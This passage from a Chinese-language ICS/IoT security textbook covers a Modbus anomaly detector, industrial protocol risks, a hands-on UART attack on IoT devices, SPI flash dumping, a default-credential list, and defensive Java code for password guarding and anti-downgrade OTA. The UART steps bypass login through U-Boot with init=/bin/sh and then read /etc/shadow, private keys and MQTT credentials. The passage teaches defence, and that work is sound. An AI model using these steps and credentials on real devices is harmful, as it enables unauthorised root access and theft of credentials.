                        'type': 'ABNORMAL_WRITE_VALUE',
                        'message': f'写入异常值!地址 {address}, 值 {value}',
                        'detail': reason
                    })

        # ===== ③ 更新基线 =====
        if value is not None:
            if reg_key not in self.register_baselines:
                self.register_baselines[reg_key] = RegisterBaseline(address)
            self.register_baselines[reg_key].update(value)

        # ===== ④ 学习模式计数 =====
        if self.learning_mode:
            self.learning_packets += 1
            if self.learning_packets >= self.LEARNING_THRESHOLD:
                self.learning_mode = False
                print(f"[*] 学习完成,已收集 {self.learning_packets} 个包,转入检测模式")
                print(f"[*] 基线覆盖 {len(self.register_baselines)} 个寄存器")

        return alerts


# ============ 使用示例 ============
if __name__ == '__main__':
    detector = ICSAnomalyDetector()

    print("模拟正常生产流量(学习阶段)...")
    # 模拟:温度寄存器在 180±5 波动
    import random
    for i in range(1000):
        temp = int(random.gauss(180, 5))
        detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x03, 100, temp)

    # 模拟:压力寄存器在 50±3 波动
    for i in range(1000):
        pressure = int(random.gauss(50, 3))
        detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x03, 101, pressure)

    # 强制结束学习模式
    detector.learning_mode = False
    print("\n已建立基线\n")

    print("=" * 70)
    print("模拟攻击流量")
    print("=" * 70)

    # 攻击 1:正常读取(不应告警)
    print("\n[测试 1] 正常读取温度 = 182")
    alerts = detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x03, 100, 182)
    print(f"  告警数: {len(alerts)} {'(正常)' if not alerts else ''}")

    # 攻击 2:写入正常范围的值(应告警"写操作"但不 CRITICAL)
    print("\n[测试 2] 写入温度设定值 = 185(正常范围)")
    alerts = detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x06, 100, 185)
    for a in alerts:
        print(f"  [{a['level']}] {a['message']}")

    # 攻击 3:写入极端值(应 CRITICAL)
    print("\n[测试 3] 写入温度设定值 = 9999(★ 异常!)")
    alerts = detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x06, 100, 9999)
    for a in alerts:
        print(f"  [{a['level']}] {a['message']}")
        print(f"      {a['detail']}")

    # 攻击 4:未知来源(应 CRITICAL)
    print("\n[测试 4] 从未知 IP 13.37.13.37 发起写操作")
    alerts = detector.process_packet('13.37.13.37', '10.0.2.20', 1, 0x06, 100, 200)
    for a in alerts:
        print(f"  [{a['level']}] {a['message']}")
        print(f"      {a['detail']}")

    # 攻击 5:基线外的功能码
    print("\n[测试 5] 使用基线外的功能码 0x08(诊断/重启)")
    alerts = detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x08, 0, None)
    for a in alerts:
        print(f"  [{a['level']}] {a['message']}")
        print(f"      {a['detail']}")

5.7.5 其他工控协议速览

协议 端口 用途 认证 加密 主要风险
Modbus/TCP 502 PLC 通信 ❌ ❌ 直接读写,无任何防护
S7comm 102 西门子 PLC ❌ ❌ 能启停 CPU、下载程序块
EtherNet/IP 44818 罗克韦尔 ❌ ❌ CIP 协议,能改配置
DNP3 20000 电力/水利 ⚠️ 有安全扩展 ⚠️ 可选 电力系统的关键协议
IEC 60870-5-104 2404 电力调度 ❌ ❌ 电网控制
BACnet 47808 楼宇自控 ❌ ❌ 空调/门禁/照明
OPC UA 4840 工业数据交换 ✅ 内建 ✅ 内建 ★ 最安全,新系统首选
Profinet 34962+ 西门子/工业以太网 ❌ ❌ 实时通信

S7comm 的特殊危险(西门子 PLC):

S7comm 比 Modbus 更危险的地方:

Modbus:只能读写寄存器和线圈
S7comm:能做的事情多得多:
  ① 读写任意内存区(DB、M、I、Q)
  ② ★ 启停 CPU(STOP 指令 → 整个产线停机)
  ③ ★ 下载/上传程序块(可以植入恶意逻辑,就是 Stuxnet 干的事)
  ④ 读取诊断信息(拿到完整的硬件配置)
  ⑤ 修改系统时间

★ 最危险的是"下载程序块":
  攻击者可以在 PLC 的程序里植入一段恶意逻辑,
  比如"运行 1000 小时后,把离心机转速提到 100 倍"
  设备表面上一切正常(HMI 显示正常值),
  实际上已经在被物理摧毁 ← Stuxnet 的核心手法

OPC UA:工控的未来(安全是内建的):

OPC UA vs 传统工控协议:

✅ 内建安全(设计时就考虑了):
   - X.509 证书认证(双向 mTLS)
   - 加密(AES-256)
   - 签名(完整性)
   - 用户级授权(RBAC)
   - 审计日志
   - 防重放(序列号 + 时间戳)

✅ 平台无关:不绑 Windows(传统 OPC 依赖 COM/DCOM)

⚠️ 现实问题:
   - 老设备不支持(要加网关,成本)
   - 性能开销(加密解密要 CPU)
   - 配置复杂(证书管理劝退很多人)
   - 很多部署为了省事关掉了安全(等于白用)

★ 建议:
   新系统首选 OPC UA,且必须:
     □ 启用安全策略(Basic256Sha256 或更高)
     □ 启用证书认证(不用 Anonymous)
     □ 配置应用证书(不用自动生成的自签证书)
     □ 定期轮换证书

5.8 IoT 设备端安全(固件与硬件)

5.8.1 IoT 攻击面总览

                        IoT 设备攻击面
                              │
    ┌────────────┬────────────┼────────────┬────────────┐
    │            │            │            │            │
  硬件接口      固件         网络服务     云端接口     供应链
    │            │            │            │            │
 ┌──┴──┐      ┌──┴──┐     ┌──┴──┐     ┌──┴──┐     ┌──┴──┐
 │UART │      │未加密│     │telnet│    │弱认证│    │第三方│
 │JTAG │      │硬编码│     │SSH   │    │API  │    │组件  │
 │SWD  │      │凭据  │     │HTTP  │    │越权 │    │后门  │
 │SPI  │      │后门  │     │默认  │    │密钥 │    │仿冒  │
 │I2C  │      │账号  │     │口令  │    │泄露 │    │芯片  │
 │Flash│      │调试  │     │UPnP  │    │     │    │      │
 │     │      │接口  │     │      │    │     │    │      │
 └─────┘      └─────┘     └─────┘     └─────┘     └─────┘
  拆机         提取          扫描         抓包        采购
  5~30分钟     10分钟        1 分钟      10 分钟     难以发现

5.8.2 硬件调试接口(UART / JTAG / SWD)

白话:设备主板上会留一些“维修接口”,工程师用来调试和刷机。 这些接口如果没禁用,攻击者接上就能拿到设备的完全控制权。

三个主要接口:

接口 白话 接线 能做什么 常见度
UART 串口控制台,接上就能看到启动日志和 shell 3~4 根线(VCC/GND/TX/RX) ★ 直接拿 root shell(最常见!) ⭐⭐⭐⭐⭐
JTAG 芯片级调试接口,能读内存、能单步调试 4~20 根线 读出固件、绕过密码、修改程序 ⭐⭐⭐⭐
SWD ARM 的简化版 JTAG,只要 2 根线 2 根线(SWDIO/SWCLK) 同 JTAG(ARM 设备常见) ⭐⭐⭐⭐
SPI/I2C 直接读 Flash 芯片 需要夹子/焊台 读出完整固件 ⭐⭐⭐

UART 实战(最常见的 IoT 入侵方式):

# ========== 步骤 1:找到 UART 引脚 ==========
# 主板上通常有 4 个排在一起的焊盘/排针,标注可能是:
#   VCC  GND  TX  RX
#   或者  V  G  T  R
#   或者只是一排没有标注的孔

# 用万用表找 GND:
#    Continuity 档(蜂鸣档),黑表笔接电源接口的金属外壳
#    红表笔逐个碰焊盘,响的那个就是 GND

# 用万用表找 VCC:
#    电压档,设备通电后,量出稳定的 3.3V 或 5V

# 剩下两个是 TX 和 RX:
#    TX(发送):设备通电时电压会跳动(有数据发出)
#    RX(接收):通常电压稳定在 3.3V

# 用逻辑分析仪/示波器确认(更准)

# ========== 步骤 2:连接 USB-TTL 转换器 ==========
# 需要的硬件(淘宝 10 块钱):
#   CH340 / CP2102 / FT232RL USB 转 TTL 模块

# 接线(★ 交叉连接!):
#   设备的 TX  →  转换器的 RX
#   设备的 RX  →  转换器的 TX
#   设备的 GND →  转换器的 GND
#   ⚠️ VCC 不要接!(除非转换器需要,接错会烧设备)
#
# ⚠️ 电平匹配:
#   设备是 3.3V 就用 3.3V 的转换器,5V 就用 5V
#   3.3V 设备接 5V 信号 = 烧毁

# ========== 步骤 3:确定波特率 ==========
# 常见波特率:9600, 19200, 38400, 57600, 115200
# 最常用:115200

# 用逻辑分析仪自动识别(最准)
# 或者挨个试(笨办法但有效)

# ========== 步骤 4:连接并拿到 shell ==========
# Linux / macOS:
screen /dev/ttyUSB0 115200
# 或者
minicom -D /dev/ttyUSB0 -b 115200
# 或者(推荐,更好用)
sudo apt install picocom
picocom -b 115200 /dev/ttyUSB0

# Windows:
#   设备管理器看 COM 口
#   PuTTY → Serial → COM3 → Speed 115200

# ========== 步骤 5:你会看到什么 ==========
# 【情况 A】启动日志(U-Boot)
U-Boot 2016.05 (Sep 12 2023 - 10:23:45 +0800)
DRAM:  128 MiB
NAND:  256 MiB
Hit any key to stop autoboot:  3
#   ★ 这时候按任意键!就能进 U-Boot 命令行

# 【情况 B】Linux 启动日志
[    0.000000] Booting Linux on physical CPU 0x0
[    0.000000] Linux version 3.10.14 (builder@factory) ...
...
[   12.345678] VFS: Mounted root (squashfs filesystem) readonly
Starting services...
#   ★ 最后可能会直接给你一个 shell

# 【情况 C】直接要登录
( none) login: _
#   ★ 需要账号密码,往下看怎么绕过

# ========== 步骤 6:绕过登录(U-Boot 方式)==========
# 在 U-Boot 倒计时按任意键,进入 U-Boot 命令行
# 然后修改内核启动参数,直接进入单用户模式:

# 查看当前启动参数
printenv
# bootargs=console=ttyS0,115200 root=/dev/mtdblock2 rootfstype=squashfs

# ★ 修改:在 bootargs 后面加 init=/bin/sh
setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/bin/sh

# 启动
boot

# 结果:直接拿到 root shell,不需要密码!
/ # id
uid=0(root) gid=0(root)
/ # cat /etc/shadow        ← 拿到所有密码 hash
/ # cat /etc/config/mqtt.conf   ← 拿到 MQTT 凭据

# ========== 步骤 7:常见收获 ==========
cat /etc/shadow                     # 密码 hash(拿去 hashcat 跑)
cat /etc/passwd                     # 用户列表
cat /etc/config/*                   # 配置文件(含各种凭据)
cat /etc/dropbear/*_host_key        # SSH 主机密钥
find / -name "*.pem" -o -name "*.key" 2>/dev/null   # 私钥
ps aux                              # 运行的服务
netstat -tulnp                      # 监听的端口
cat /proc/mtd                       # Flash 分区布局
dd if=/dev/mtd0 of=/tmp/uboot.bin   # dump 固件

SPI Flash 读取(直接读固件):

# 需要的硬件:
#   - 编程器(CH341A,淘宝 20 块钱)
#   - SOP8 测试夹(免拆焊,10 块钱)
#   - 或者 SOIC8 烧录座(要拆焊)

# 步骤:
# 1. 断电,把测试夹夹在 SPI Flash 芯片上(8 脚的小芯片)
#    注意方向:芯片上有个圆点标记的是第 1 脚
# 2. 接上 CH341A 编程器到电脑
# 3. 读取

# Linux 工具:flashrom
sudo apt install flashrom

# 检测芯片
sudo flashrom -p ch341a_spi

# 读取整个 Flash(可能要几分钟)
sudo flashrom -p ch341a_spi -r firmware_backup.bin

# 输出:
#   flashrom v1.2 on Linux 5.15.0
#   Found Winbond flash chip "W25Q128.V" (16384 kB, SPI)
#   Reading flash... done.

# 4. 分析固件(见 5.5.8)
binwalk -e firmware_backup.bin

# Python 工具(更好用)
pip install pyftdi
# 或者用 flashrom 的 Python 封装

防御(设备厂商角度):

硬件接口防护(产品安全设计):

生产阶段:
  ☐ 生产完成后熔断 eFuse / 写 OTP,永久禁用 JTAG/SWD
    (STM32: 设置 RDP Level 2,不可逆)
  ☐ UART 只留 TX(只能输出日志,不能输入命令)
    或者完全移除 UART 引脚/焊盘
  ☐ Bootloader 设密码(U-Boot 要密码才能进命令行)
  ☐ 禁用 U-Boot 的自动倒计时中断
    setenv bootdelay 0    ← 不给按键盘的机会

固件层:
  ☐ 关闭串口 root shell(/etc/inittab 里注释掉 console)
  ☐ 启用 Secure Boot(只跑签名的固件)
  ☐ Flash 加密(读到的是密文)
  ☐ ★ 用安全芯片(SE / TPM / TrustZone)存密钥
    这样即使读出 Flash,密钥也拿不到

物理层:
  ☐ 外壳防拆(拆开触发自毁/告警)
  ☐ 关键芯片涂覆/灌胶(增加拆解难度)
  ☐ Flash 芯片用 BGA 封装(不能用夹子夹)

5.8.3 默认口令与弱认证

为什么 IoT 的默认口令问题这么严重:

Mirai 僵尸网络(2016 年,DDoS 了半个互联网):
  攻击方式:扫描全网,用【61 个硬编码的默认用户名密码组合】尝试 telnet 登录
  结果:感染了 60 万台设备(摄像头、路由器、DVR)
  造成的攻击:
    - 2016.09 法国 OVH 被 1Tbps DDoS
    - 2016.10 Dyn DNS 被攻击 → Twitter/GitHub/Netflix/PayPal 全挂
    - 2016.11 德国电信 90 万用户断网

  ★ 那 61 个密码包括:
    admin:admin, root:root, root:1234, admin:1234,
    root:xc3511, admin:password, root:vizxv, ...
    (大部分来自厂商的默认口令表)

  到 2026 年的今天,Mirai 的变种仍在活跃,
  因为仍有大量设备用默认口令,且从不更新。

常见的 IoT 默认口令(自查清单):

# 用户名:密码(IoT 设备最常见的弱口令)
admin:admin
admin:1234
admin:password
admin:12345
admin:0000
root:root
root:1234
root:admin
root:xc3511          # 海康威视摄像头(Mirai 用的)
root:vizxv           # 大华摄像头(Mirai 用的)
root:7ujMko0admin    # 大华
root:7ujMko0vizxv
support:support
user:user
guest:guest
ubnt:ubnt            # Ubiquiti 设备
pi:raspberry         # 树莓派
tech:tech
service:service
(空):(空)
(空):admin

# 弱口令字典(10 万条)下载:
#   SecLists: https://github.com/danielmiessler/SecLists
#   Passwords/Default-Credentials/default-passwords.csv

防御(服务端角度:我们能做什么):

/**
 * 设备弱口令防护(平台侧)
 *
 * 设备侧的密码我们改不了,但平台侧能做的:
 *   ① 首次激活强制改密码
 *   ② 弱口令检测
 *   ③ 登录失败锁定
 *   ④ 异常登录检测(多地、异常时间)
 */
@Service
@Slf4j
public class DeviceWeakPasswordGuard {

    /** 常见弱口令黑名单(Top 1000) */
    private static final Set<String> WEAK_PASSWORDS = loadWeakPasswordList();

    /** 设备默认口令(厂商常见的) */
    private static final Set<String> DEFAULT_PASSWORDS = Set.of(
        "admin", "1234", "password", "12345", "0000", "root",
        "admin123", "123456", "8888", "6666", "1111", "123123"
    );

    /**
     * 校验设备密码强度
     */
    public PasswordStrength checkStrength(String password) {
        List<String> issues = new ArrayList<>();

        // ① 长度
        if (password.length() < 12) {
            issues.add("密码长度至少 12 位");
        }

        // ② 弱口令黑名单
        if (WEAK_PASSWORDS.contains(password.toLowerCase())) {
            issues.add("密码在常见弱口令字典中");
        }

        // ③ 默认口令
        if (DEFAULT_PASSWORDS.contains(password.toLowerCase())) {
            issues.add("不能使用出厂默认密码");
        }

        // ④ 复杂度
        int charTypes = 0;
        if (password.matches(".*[a-z].*")) charTypes++;
        if (password.matches(".*[A-Z].*")) charTypes++;
        if (password.matches(".*[0-9].*")) charTypes++;
        if (password.matches(".*[^a-zA-Z0-9].*")) charTypes++;
        if (charTypes < 3) {
            issues.add("密码需包含大小写字母、数字、特殊字符中的至少 3 种");
        }

        // ⑤ 连续/重复字符(11111、abcabc、123456)
        if (isSequential(password) || isRepetitive(password)) {
            issues.add("密码不能是连续或重复的字符");
        }

        // ⑥ 包含设备标识(device001 的密码不能含 device001)
        if (password.toLowerCase().contains("device") ||
            password.toLowerCase().contains("admin")) {
            issues.add("密码不能包含 'device' 或 'admin'");
        }

        return new PasswordStrength(issues.isEmpty(), issues,
                                    calculateScore(password));
    }

    /**
     * 设备首次接入强制改密
     */
    @Transactional
    public void enforcePasswordChangeOnFirstLogin(String deviceId) {
        Device device = deviceRegistry.findById(deviceId)
                .orElseThrow(() -> new BizException("设备不存在"));

        if (device.isDefaultPassword()) {
            // 标记为强制改密状态
            device.setForcePasswordChange(true);
            deviceRegistry.save(device);

            // 通过 MQTT 下发通知
            mqttService.push(deviceId, Map.of(
                "type", "FORCE_PASSWORD_CHANGE",
                "reason", "检测到出厂默认密码,必须修改后才能正常使用",
                "deadline", System.currentTimeMillis() + Duration.ofHours(24).toMillis()
            ));

            // 24 小时内不改 → 限制功能(只保留改密的 API)
            scheduleEnforcement(deviceId, Duration.ofHours(24));
        }
    }

    /**
     * 登录失败锁定(防爆破)
     */
    public void recordFailedLogin(String deviceId, String clientIp) {
        String key = "device:login:fail:" + deviceId;
        Long fails = redis.opsForValue().increment(key);
        if (fails != null && fails == 1) {
            redis.expire(key, Duration.ofMinutes(30));
        }

        if (fails != null && fails >= 5) {
            // 锁定设备 30 分钟
            redis.opsForValue().set("device:lock:" + deviceId, "1",
                                    Duration.ofMinutes(30));

            log.warn("[设备] 登录失败次数过多,已锁定. deviceId={}, ip={}, fails={}",
                     deviceId, clientIp, fails);

            alertService.send("DEVICE_BRUTE_FORCE",
                String.format("设备 %s 疑似遭到密码爆破,来源 IP: %s", deviceId, clientIp));
        }
    }

    /**
     * 异常登录检测
     */
    public void checkAnomalousLogin(String deviceId, String clientIp, String country) {
        Device device = deviceRegistry.findById(deviceId).orElse(null);
        if (device == null) return;

        List<String> anomalies = new ArrayList<>();

        // ① IP 归属地突变(上一秒在中国,下一秒在美国 = 不可能)
        if (device.getLastLoginCountry() != null
                && !device.getLastLoginCountry().equals(country)) {
            long timeSinceLastLogin = System.currentTimeMillis() - device.getLastLoginAt();
            // 1 小时内跨国登录 = 异常(物理上不可能)
            if (timeSinceLastLogin < Duration.ofHours(1).toMillis()) {
                anomalies.add(String.format("异地登录:%s → %s(%d 分钟内)",
                    device.getLastLoginCountry(), country,
                    timeSinceLastLogin / 60000));
            }
        }

        // ② IP 段完全不相关
        if (!isSameNetworkSegment(device.getLastLoginIp(), clientIp)) {
            anomalies.add("IP 段变化异常");
        }

        // ③ 同一凭据多地同时在线(设备克隆)
        if (isDeviceOnlineElsewhere(deviceId, clientIp)) {
            anomalies.add("检测到同一设备凭据在多地同时在线(疑似克隆)");
        }

        if (!anomalies.isEmpty()) {
            log.warn("[设备] 异常登录. deviceId={}, anomalies={}", deviceId, anomalies);
            alertService.send("DEVICE_ANOMALOUS_LOGIN",
                deviceId + " - " + String.join("; ", anomalies));

            // 高危:要求二次验证或直接锁定
            if (anomalies.size() >= 2) {
                lockDevice(deviceId, "检测到多重异常登录行为");
            }
        }
    }

    private boolean isSequential(String s) {
        if (s.length() < 4) return false;
        for (int i = 0; i < s.length() - 3; i++) {
            char c = s.charAt(i);
            if (s.charAt(i+1) == c+1 && s.charAt(i+2) == c+2 && s.charAt(i+3) == c+3) {
                return true;   // 如 1234、abcd
            }
        }
        return false;
    }

    private boolean isRepetitive(String s) {
        return s.matches("(.+?)\\1{2,}");
    }

    public record PasswordStrength(boolean passed, List<String> issues, int score) {}
}

5.8.4 OTA 升级安全与降级攻击

白话:OTA(Over-The-Air)就是设备远程升级固件,和手机系统更新一个道理。

为什么 OTA 是高风险环节:

OTA 是攻击者梦寐以求的入口:
  ① 固件运行在设备的【最高权限】(root / 内核态)
  ② 一旦成功,就是【持久化】(刷了固件,重启还在)
  ③ 影响【所有同型号设备】(一次投毒,批量沦陷)
  ④ 难以发现(固件被改了,表面看不出来)

真实案例:
  2017 年,某智能灯泡厂商的 OTA 服务器被攻破,
  攻击者推送恶意固件,控制了几十万个灯泡,
  并用 Zigbee 协议横向传播(灯泡感染灯泡)。
  理论上可以造成城市级的灯光失控。

OTA 的五个安全要求:

① 认证:设备必须验证"这个固件确实来自厂商"
   → 固件签名(ECDSA / RSA + SHA-256)

② 完整性:固件在传输过程中不能被篡改
   → 签名天然包含完整性校验
   → 或者额外的 HMAC

③ 机密性:固件内容不应被窃取(防逆向)
   → 加密固件(AES)+ 解密密钥在安全芯片里

④ 防降级:不能刷回有漏洞的旧版本
   → 版本号单调递增检查(★ 最容易被忽略)

⑤ 安全恢复:刷失败不能变砖
   → A/B 分区(双系统备份)
   → 回滚机制

★ 降级攻击(Downgrade Attack)—— 最容易被忽略的漏洞:

场景:
  固件 v1.0 有漏洞(攻击者已掌握利用方法)
  厂商发布 v2.0 修复了漏洞
  
  但是:设备接受"任意版本的固件",只要签名正确
  
  攻击:
    攻击者拿到了 v1.0 的官方签名固件(官网下载,或旧设备提取)
    ↓
    把它推送给已经升级到 v2.0 的设备
    ↓
    设备验证签名 → ✅ 通过(这确实是官方签名的固件)
    ↓
    设备降级到 v1.0
    ↓
    攻击者用已知的 v1.0 漏洞攻陷设备

为什么这么容易成功?
  很多设备只验证"签名对不对",不验证"版本新不新"。
  开发者以为"签了名就安全了",忽略了版本维度。

★ 这就是 2010 年代 Android 的著名问题,
  后来 Google 引入了"防回滚保护"(Anti-Rollback)

✅ 完整的 OTA 安全实现:

/**
 * 安全的 OTA 升级服务
 *
 * 五个安全要求全部实现:
 *   ① 签名验证(ECDSA)
 *   ② 完整性校验(SHA-256)
 *   ③ 加密分发(AES-GCM)
 *   ④ ★ 防降级(版本号单调检查,存在安全存储区)
 *   ⑤ A/B 分区安全恢复
 */
@Service
@Slf4j
public class SecureOtaService {

    @Autowired
    private FirmwareRepository firmwareRepo;

    @Autowired
    private DeviceRegistry deviceRegistry;

    /**
     * 生成固件(厂商侧)
     */
    public void buildFirmware(File rawFirmware, int version,
                               String minVersion, boolean critical) {
        try {
            byte[] firmwareBytes = Files.readAllBytes(rawFirmware.toPath());

            // ===== ① 计算哈希 =====
            MessageDigest sha256 = MessageDigest.getInstance("SHA-256");
            byte[] hash = sha256.digest(firmwareBytes);

            // ===== ② 加密固件(可选,防逆向)=====
            byte[] encrypted = encryptFirmware(firmwareBytes);

            // ===== ③ 构造元数据 =====
            FirmwareMetadata metadata = FirmwareMetadata.builder()
                    .version(version)              // ★ 版本号
                    .minVersion(minVersion)        // ★ 最低允许版本(防降级的关键)
                    .size(encrypted.length)
                    .sha256(Hex.toHexString(hash))
                    .releaseNotes("...")
                    .critical(critical)
                    .buildAt(System.currentTimeMillis())
                    .build();

            // ===== ④ 对【元数据】签名(不是对固件签名)=====
            // ★ 关键:签名的对象必须包含版本号!
            //   只签固件内容 → 攻击者可以把 v1.0 的固件 + v1.0 的签名一起重放
            //   签元数据(含版本号)→ 设备能验证版本
            byte[] metadataBytes = JsonUtil.toJson(metadata).getBytes(UTF_8);

            Signature signature = Signature.getInstance("SHA256withECDSA");
            signature.initSign(loadSigningPrivateKey());   // 私钥在 HSM 里!
            signature.update(metadataBytes);
            byte[] metadataSig = signature.sign();

            // ===== ⑤ 对【固件内容】单独签名(双保险)=====
            signature.initSign(loadSigningPrivateKey());
            signature.update(firmwareBytes);
            byte[] firmwareSig = signature.sign();

            // ===== ⑥ 保存 =====
            firmwareRepo.save(Firmware.builder()
                    .metadata(metadata)
                    .encryptedData(encrypted)
                    .metadataSignature(metadataSig)
                    .firmwareSignature(firmwareSig)
                    .build());

            log.info("[OTA] 固件构建完成. version={}, size={}, sha256={}",
                     version, encrypted.length, Hex.toHexString(hash).substring(0, 16));

        } catch (Exception e) {
            throw new RuntimeException("固件构建失败", e);
        }
    }

    /**
     * 设备检查更新
     */
    public UpdateInfo checkUpdate(String deviceId, int currentVersion) {
        Device device = deviceRegistry.findById(deviceId)
                .orElseThrow(() -> new BizException("设备不存在"));

        // ===== ① 找到适用该型号的最新固件 =====
        Firmware latest = firmwareRepo
                .findLatestByModel(device.getModel())
                .orElse(null);

        if (latest == null) {
            return UpdateInfo.noUpdate();
        }

        // ===== ② 灰度发布(不要一次推给所有设备)=====
        if (!isInRolloutGroup(deviceId, latest.getMetadata().getVersion())) {
            log.debug("[OTA] 设备不在灰度范围内. deviceId={}", deviceId);
            return UpdateInfo.noUpdate();
        }

        // ===== ③ 检查设备当前版本是否低于最低要求 =====
        // 强制升级场景(有严重漏洞)
        if (latest.getMetadata().isCritical()
                && currentVersion < Integer.parseInt(latest.getMetadata().getMinVersion())) {
            return UpdateInfo.forced(latest);
        }

        return UpdateInfo.available(latest);
    }

    /**
     * 设备侧验证固件(伪代码,实际在设备固件里实现)
     *
     * ★ 这里是防降级的核心逻辑
     */
    public boolean verifyFirmwareOnDevice(byte[] encryptedFirmware,
                                          FirmwareMetadata metadata,
                                          byte[] metadataSig,
                                          byte[] firmwareSig) {
        try {
            // ===== ① 验证元数据签名 =====
            Signature sig = Signature.getInstance("SHA256withECDSA");
            sig.initVerify(loadFactoryPublicKey());   // 出厂烧录的公钥,不可修改
            sig.update(JsonUtil.toJson(metadata).getBytes(UTF_8));

            if (!sig.verify(metadataSig)) {
                log.error("[OTA] 元数据签名验证失败(可能是伪造的固件)");
                reportSecurityIncident("OTA_METADATA_SIGNATURE_INVALID");
                return false;
            }

            // ===== ② ★★★ 防降级检查(最关键)★★★ =====
            //
            // 从【安全存储区】读取当前版本
            // 为什么必须是安全存储区?
            //   如果版本号存在普通 Flash 里,攻击者可以直接改掉它,
            //   让设备以为自己还是 v1.0,然后降级成功。
            //   安全存储区(eFuse / RPMB / TrustZone)写一次就不能改,
            //   或者只能单调增加。
            //
            int currentVersion = readSecureVersionCounter();

            if (metadata.getVersion() <= currentVersion) {
                log.error("[OTA] 版本降级攻击!当前={}, 尝试刷入={}",
                          currentVersion, metadata.getVersion());
                reportSecurityIncident("OTA_DOWNGRADE_ATTEMPT");
                return false;      // ★ 坚决拒绝
            }

            // ===== ③ 解密固件 =====
            byte[] firmware = decryptFirmware(encryptedFirmware);

            // ===== ④ 验证固件哈希 =====
            MessageDigest sha256 = MessageDigest.getInstance("SHA-256");
            String actualHash = Hex.toHexString(sha256.digest(firmware));

            if (!constantTimeEquals(actualHash, metadata.getSha256())) {
                log.error("[OTA] 固件哈希不匹配(传输中被篡改?)");
                reportSecurityIncident("OTA_HASH_MISMATCH");
                return false;
            }

            // ===== ⑤ 验证固件内容签名(双保险)=====
            sig.initVerify(loadFactoryPublicKey());
            sig.update(firmware);
            if (!sig.verify(firmwareSig)) {
                log.error("[OTA] 固件签名验证失败");
                reportSecurityIncident("OTA_FIRMWARE_SIGNATURE_INVALID");
                return false;
            }

            // ===== ⑥ 检查 minVersion(防止跨版本跳跃到有漏洞的中介版本)=====
            // 某些升级路径有问题,比如 v1.0 → v2.0 需要先过 v1.5
            if (currentVersion < Integer.parseInt(metadata.getMinVersion())) {
                log.error("[OTA] 升级路径不允许. current={}, min={}",
                          currentVersion, metadata.getMinVersion());
                return false;
            }

            // ===== ⑦ 全部通过,写入固件 =====
            // ★ A/B 分区:先写到备用分区,验证能启动后再切换
            //   这样即使新固件有问题,也能回滚到旧分区,不会变砖
            writeToInactivePartition(firmware);

            // ===== ⑧ ★ 更新安全版本计数器(单调递增,不可逆)=====
            //    这一步必须在【确认新固件能正常启动之后】做
            //    如果先更新计数器再刷机,刷失败就永久锁死在旧版本了
            //    实际实现:启动时由 bootloader 验证并更新
            //    writeSecureVersionCounter(metadata.getVersion());

            // ===== ⑨ 标记为待激活,重启后生效 =====
            markPartitionForBoot();
            log.info("[OTA] 固件验证通过,重启后生效. version={}", metadata.getVersion());

            return true;

        } catch (Exception e) {
            log.error("[OTA] 验证过程异常", e);
            return false;
        }
    }

    /**
     * 读取安全版本计数器(防回滚)
     *
     * 硬件实现:
     *   - eFuse:一次性可编程熔丝,烧断不能恢复
     *   - RPMB(eMMC 的重放保护内存块):需要密钥认证才能写
     *   - TrustZone / Secure Enclave:安全世界存储
     *   - TPM 的单调计数器(Monotonic Counter)
     */
    private int readSecureVersionCounter() {
        // 实际实现依赖硬件
        // 这里返回模拟值
        return secureStorage.readInt("firmware.version");
    }

    /**
     * 灰度发布
     */
    private boolean isInRolloutGroup(String deviceId, int version) {
        // 用一致性哈希,保证同一设备每次判定结果一致
        int hash = Math.abs(deviceId.hashCode());
        int bucket = hash % 100;

        RolloutPolicy policy = firmwareRepo.getRolloutPolicy(version);
        return bucket < policy.getPercentage();
        // 例:percentage=10 表示只有 10% 的设备收到更新
        //     观察 24 小时无异常后,逐步提高到 25% → 50% → 100%
    }

    private boolean constantTimeEquals(String a, String b) {
        return MessageDigest.isEqual(a.getBytes(UTF_8), b.getBytes(UTF_8));
    }
}

A/B 分区更新(防变砖):

传统单分区更新的问题:
  Flash 布局:[bootloader][系统分区][数据]
  更新过程:擦除系统分区 → 写入新系统
  ⚠️ 如果写一半断电 → 系统分区损坏 → 设备变砖

A/B 分区(无缝更新):
  Flash 布局:[bootloader][系统A][系统B][数据]

  当前运行在 A 分区
    ↓
  把新固件写到 B 分区(此时 A 还在正常运行,设备完全可用)
    ↓
  写完后,修改 bootloader 的启动槽位:下次从 B 启动
    ↓
  重启
    ↓
  B 分区启动成功 → 标记 B 为"成功",B 成为新的当前系统
  B 分区启动失败(连续 3 次)→ bootloader 自动回滚到 A 分区
    ↓
  ★ 最坏情况:更新失败,回到原来的系统,设备永远可用

这就是 Android 7.0 引入的 Seamless Update 机制

5.8.5 IoT 安全检查清单

IoT 设备上线前必查(按优先级):

【P0 必做,不做等于裸奔】
  ☐ 无默认口令 / 首次使用强制改密
  ☐ 关闭不必要的服务(telnet、ftp、不必要的 HTTP)
  ☐ 固件签名验证(Secure Boot)
  ☐ OTA 防降级(安全版本计数器)
  ☐ 关闭/保护调试接口(UART/JTAG/SWD)
  ☐ 一机一密(不用全局共享凭据)
  ☐ 通信加密(TLS/DTLS,不用明文)

【P1 重要】
  ☐ 固件中无硬编码凭据(扫描固件确认)
  ☐ 固件加密(防逆向提取)
  ☐ 最小权限原则(服务不以 root 运行)
  ☐ 输入校验(防止命令注入、缓冲区溢出)
  ☐ 安全存储(密钥放 SE/TPM/TrustZone,不放普通 Flash)
  ☐ A/B 分区(防变砖)
  ☐ 日志脱敏(不记录敏感数据)

【P2 加分】
  ☐ 物理防拆检测
  ☐ 完整性自校验(运行时检测代码被改)
  ☐ 反调试
  ☐ 安全启动链(bootloader → kernel → app 逐级验签)
  ☐ 漏洞披露渠道(security@example.com)
  ☐ SBOM(软件物料清单)
  ☐ 定期固件更新机制

【P3 运营期】
  ☐ 设备行为基线监控
  ☐ 异常设备自动隔离
  ☐ 凭据定期轮换
  ☐ 固件漏洞跟踪(CVE 监控)
  ☐ 设备生命周期管理(EOL 设备下线)


5.9 综合实战:从一台暴露的 MQTT Broker 到整个园区沦陷

